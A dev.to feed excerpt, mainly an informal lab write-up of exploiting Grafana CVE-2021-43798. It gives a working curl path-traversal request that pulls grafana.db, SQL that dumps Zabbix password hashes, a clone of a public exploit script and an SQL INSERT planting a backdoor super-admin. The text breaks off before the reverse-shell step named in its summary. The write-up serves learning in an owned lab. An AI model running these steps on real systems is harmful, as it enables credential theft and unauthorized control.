&lt;p&gt;Used OpenSSL with AES-256-CBC to decrypt:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[LONG_BASE64_CIPHERTEXT]"&lt;/span&gt; | openssl enc &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nt"&gt;-aes-256-cbc&lt;/span&gt; &lt;span class="nt"&gt;-pbkdf2&lt;/span&gt; &lt;span class="nt"&gt;-iter&lt;/span&gt; 200000 &lt;span class="nt"&gt;-salt&lt;/span&gt; &lt;span class="nt"&gt;-base64&lt;/span&gt; &lt;span class="nt"&gt;-pass&lt;/span&gt; pass:&lt;span class="s1"&gt;'[UNLOCK_KEY]'&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwpoa29qjlny6a14fc4r7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwpoa29qjlny6a14fc4r7.png" alt="decrypting cipher" width="800" height="97"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;Room link: &lt;a href="https://tryhackme.com/room/linuxcli-aoc2025-o1fpqkvxti" rel="noopener noreferrer"&gt;https://tryhackme.com/room/linuxcli-aoc2025-o1fpqkvxti&lt;/a&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>linux</category>
      <category>tryhackme</category>
      <category>bash</category>
    </item>
    <item>
      <title>Grafana, Passwords, and Poor Life Choices: CVE-2021-43798</title>
      <dc:creator>yuribe</dc:creator>
      <pubDate>Sat, 28 Mar 2026 23:28:00 +0000</pubDate>
      <link>https://dev.to/yuribe/grafana-passwords-and-poor-life-choices-cve-2021-43798-28lp</link>
      <guid>https://dev.to/yuribe/grafana-passwords-and-poor-life-choices-cve-2021-43798-28lp</guid>
      <description>&lt;h2&gt;
  
  
  Disclaimer
&lt;/h2&gt;

&lt;p&gt;Before my friends in legal get mad at me - &lt;strong&gt;this was all done in my own lab&lt;/strong&gt;. Everything you're about to see has been redacted because I actually like my freedom.&lt;/p&gt;

&lt;p&gt;Don't try this on stuff you don't own. Hacking random companies is illegal, unethical, and a great way to make new friends in prison.&lt;/p&gt;

&lt;p&gt;Set up your own lab, break your own stuff, learn from it. That's the way.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Story
&lt;/h2&gt;

&lt;p&gt;So there I was, just casually port scanning my lab environment (as one does on a Friday evening), when I spotted port 3000 open. "Oh cool, Grafana!" I thought. Little did I know I was about to speedrun my way to root access faster than you can say "defense in depth."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The TL;DR:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Found a Grafana with CVE-2021-43798 (path traversal)&lt;/li&gt;
&lt;li&gt;Read some files I definitely shouldn't have been able to read&lt;/li&gt;
&lt;li&gt;Got a secret key (spoiler: it wasn't that secret)&lt;/li&gt;
&lt;li&gt;Decrypted ALL the passwords&lt;/li&gt;
&lt;li&gt;Logged into Grafana like I owned the place&lt;/li&gt;
&lt;li&gt;Used SQL execution&lt;/li&gt;
&lt;li&gt;Created a backdoor admin account&lt;/li&gt;
&lt;li&gt;Got a reverse shell&lt;/li&gt;
&lt;li&gt;Found out everyone was using the same password&lt;/li&gt;
&lt;li&gt;Became root&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Times I said "no way that worked":&lt;/strong&gt; Too many to count&lt;br&gt;
&lt;strong&gt;Lessons learned:&lt;/strong&gt; Password reuse is a hell of a drug&lt;/p&gt;


&lt;h2&gt;
  
  
  Part 1: Background
&lt;/h2&gt;
&lt;h3&gt;
  
  
  What is Grafana?
&lt;/h3&gt;

&lt;p&gt;Grafana is basically this pretty web interface that makes graphs and dashboards for monitoring stuff. Sysadmins love it because it makes their metrics look cool. Attackers love it because it usually has credentials for literally everything it monitors.&lt;/p&gt;

&lt;p&gt;Think of it as the keys to the kingdom, except the keys are in a glass box with "break in case of emergency" written on it, and CVE-2021-43798 is the hammer.&lt;/p&gt;
&lt;h3&gt;
  
  
  Path Traversal 101
&lt;/h3&gt;

&lt;p&gt;Path traversal is when you can use &lt;code&gt;../&lt;/code&gt; to navigate up directories and read files you shouldn't be able to.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Normal request&lt;/span&gt;
GET /files/user123/document.pdf

&lt;span class="c"&gt;# Spicy request&lt;/span&gt;
GET /files/../../../etc/passwd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The second one tries to go up three directories and read &lt;code&gt;/etc/passwd&lt;/code&gt;. If the application doesn't properly validate the path... well, you get to read stuff you shouldn't.&lt;/p&gt;




&lt;h2&gt;
  
  
  Part 2: Finding the Vulnerability
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Testing for CVE-2021-43798
&lt;/h3&gt;

&lt;p&gt;The vulnerability exists in Grafana versions 8.0.0 through 8.3.0. The plugin loading mechanism didn't properly validate file paths, so we can just ask nicely for files.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgvx7vljds6i42m8tpudp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgvx7vljds6i42m8tpudp.png" alt="path traversal proof" width="800" height="234"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;And just like that, we're reading &lt;code&gt;/etc/passwd&lt;/code&gt;!&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The server just gave it to me. No authentication, no nothing. Just "here's a system file, hope you have a great day!"&lt;/p&gt;




&lt;h2&gt;
  
  
  Part 3: Secret Key Hunting
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Grabbing grafana.ini
&lt;/h3&gt;

&lt;p&gt;Every Grafana instance has a configuration file at &lt;code&gt;/etc/grafana/grafana.ini&lt;/code&gt;. This file is chef's kiss because it contains:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The secret key used for encryption&lt;/li&gt;
&lt;li&gt;Database configuration&lt;/li&gt;
&lt;li&gt;Admin credentials (sometimes)&lt;/li&gt;
&lt;li&gt;Other juicy config details&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs0xebvdv5ug50l3cee99.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs0xebvdv5ug50l3cee99.png" alt="grafana.ini contents" width="800" height="395"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;BINGO!&lt;/strong&gt; Look at that beautiful secret key just sitting there. This is the encryption key Grafana uses to "protect" sensitive data like database passwords.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="nn"&gt;[security]&lt;/span&gt;
&lt;span class="py"&gt;secret_key&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;[REDACTED]&lt;/span&gt;
&lt;span class="py"&gt;admin_user&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;admin&lt;/span&gt;
&lt;span class="py"&gt;admin_password&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;admin&lt;/span&gt;

&lt;span class="nn"&gt;[database]&lt;/span&gt;
&lt;span class="py"&gt;type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;sqlite3&lt;/span&gt;
&lt;span class="py"&gt;path&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;grafana.db&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The secret key is literally the master key to decrypt everything. It's like finding the password to the password manager.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcwy95ib67wi4va87cpkm.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcwy95ib67wi4va87cpkm.jpg" alt="Guy tapping head meme" width="600" height="494"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Part 4: Database Heist
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Stealing grafana.db
&lt;/h3&gt;

&lt;p&gt;Grafana stores everything in a SQLite database. Users, data sources, dashboards, encrypted passwords - it's all in there.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;--path-as-is&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;"http://[TARGET]/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-o&lt;/span&gt; grafana.db
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Got it!&lt;/strong&gt; Now we have a complete dump of the Grafana database sitting on our attacker machine.&lt;/p&gt;

&lt;h3&gt;
  
  
  Exploring the Database
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlite3 grafana.db
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tables&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;data_source&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;data_source&lt;/code&gt; table is where things get interesting. Each row contains: data source name, type (MySQL, PostgreSQL, etc.), connection URL, username, and an &lt;strong&gt;encrypted password&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Example entry:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"RLA=="&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"database"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"zabbix"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Part 5: Breaking the "Encryption"
&lt;/h2&gt;

&lt;h3&gt;
  
  
  How Grafana "Secures" Passwords
&lt;/h3&gt;

&lt;p&gt;Grafana uses AES-256-CFB encryption with the secret key to protect data source passwords. The format is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;base64(IV + encrypted_data)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Sounds secure, right? It's only as secure as your secret key. And guess what we already have?&lt;/p&gt;

&lt;h3&gt;
  
  
  The Easy Way: Web Tool
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://keydecryptor.com/decryption-tools/grafana" rel="noopener noreferrer"&gt;Grafana Key Decryptor&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Just paste in your encrypted password hash, the secret key from grafana.ini, click decrypt, watch the password appear in plaintext.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1n6stuloydj5ql4ksgsq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1n6stuloydj5ql4ksgsq.png" alt="decrypted password" width="800" height="396"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Success!&lt;/strong&gt; The passwords just fell out. Like digital candy from a pinata.&lt;/p&gt;




&lt;h2&gt;
  
  
  Part 6: Going Full Auto
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Automated Approach
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://github.com/pedrohavay/exploit-grafana-CVE-2021-43798" rel="noopener noreferrer"&gt;pedrohavay exploit script&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/pedrohavay/exploit-grafana-CVE-2021-43798
&lt;span class="nb"&gt;cd &lt;/span&gt;exploit-grafana-CVE-2021-43798
python3 exploit.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq6c2jmwrersyh8bf7ko5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq6c2jmwrersyh8bf7ko5.png" alt="exploit script" width="800" height="663"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The tool automatically tests for the vulnerability, downloads important files, extracts the secret key, decrypts all passwords, and gives you a nice report.&lt;/p&gt;




&lt;h2&gt;
  
  
  Part 7: Admin Access Unlocked
&lt;/h2&gt;

&lt;p&gt;With the decrypted credentials:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;URL: &lt;code&gt;http://[TARGET]:3000/login&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Username: &lt;code&gt;admin&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Password: &lt;code&gt;[REDACTED]&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6chx8nncjyyb8xb8c6ze.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6chx8nncjyyb8xb8c6ze.png" alt="grafana login success" width="800" height="216"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I'm in!&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Part 8: SQL Execution
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Discovering the MySQL Data Source
&lt;/h3&gt;

&lt;p&gt;Grafana has this neat feature where admin users can execute SQL queries through data sources. It's not a bug, it's a feature! (It's also a massive security risk if you get compromised.)&lt;/p&gt;

&lt;p&gt;I found a MySQL data source connected to a &lt;strong&gt;Zabbix&lt;/strong&gt; database. Zabbix is a monitoring platform that monitors servers, network devices, applications - basically everything in your infrastructure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Zabbix databases contain:&lt;/strong&gt; user accounts and passwords, monitored host information, network topology, scripts that can be executed, and stored credentials for accessing monitored systems.&lt;/p&gt;

&lt;h3&gt;
  
  
  Creating a Query Panel
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fow7wg5dwnvdiuespn5x6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fow7wg5dwnvdiuespn5x6.png" alt="new dashboard panel" width="800" height="255"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyatgk39vbdyl6wu6a10h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyatgk39vbdyl6wu6a10h.png" alt="query editor" width="800" height="464"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;@@&lt;/span&gt;&lt;span class="k"&gt;version&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmeo633d5adbutwj491p0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmeo633d5adbutwj491p0.png" alt="version query" width="543" height="235"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Result: &lt;code&gt;10.3.39-MariaDB-0+deb10u2&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;DATABASE&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4h5hcoi9po9kcnlmh7dc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4h5hcoi9po9kcnlmh7dc.png" alt="database query" width="630" height="164"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Result: &lt;code&gt;zabbix&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Confirmed SQL execution on a Zabbix database.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Part 9: Zabbix Database Spelunking
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Extracting User Accounts
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;userid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;alias&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;passwd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;roleid&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This query dumped user accounts with bcrypt password hashes. But I don't need to crack them - I can just create my own admin account!&lt;/p&gt;

&lt;h3&gt;
  
  
  Creating a Backdoor Admin
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Step 1 - Generate a password hash:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;php &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"echo password_hash('MySecurePassword', PASSWORD_BCRYPT);"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 2 - Insert the backdoor user:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="n"&gt;userid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;alias&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;surname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;passwd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;autologin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lang&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;refresh&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;theme&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;rows_per_page&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timezone&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;roleid&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;VALUES&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'superAdmin'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'Network'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'Monitor'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="s1"&gt;'$2a$15$[HASH_VALUE]'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'en_GB'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'30s'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'America/Belize'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'UTC'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh6muarrrk0gg1ocoygl9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh6muarrrk0gg1ocoygl9.png" alt="insert backdoor" width="800" height="403"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Verification:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;userid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;alias&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;passwd&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;userid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F02tb5lt02sm9hh4qc7ko.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F02tb5lt02sm9hh4qc7ko.png" alt="verify backdoor" width="800" height="248"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Username: &lt;code&gt;superAdmin&lt;/code&gt;, Password: &lt;code&gt;MySecurePassword&lt;/code&gt;, Role: Super Admin (roleid = 3)&lt;/p&gt;




&lt;h2&gt;
  
  
  Part 10: Zabbix Access
&lt;/h2&gt;

&lt;p&gt;With my shiny new backdoor account, I headed over to the Zabbix web interface.&lt;/p&gt;

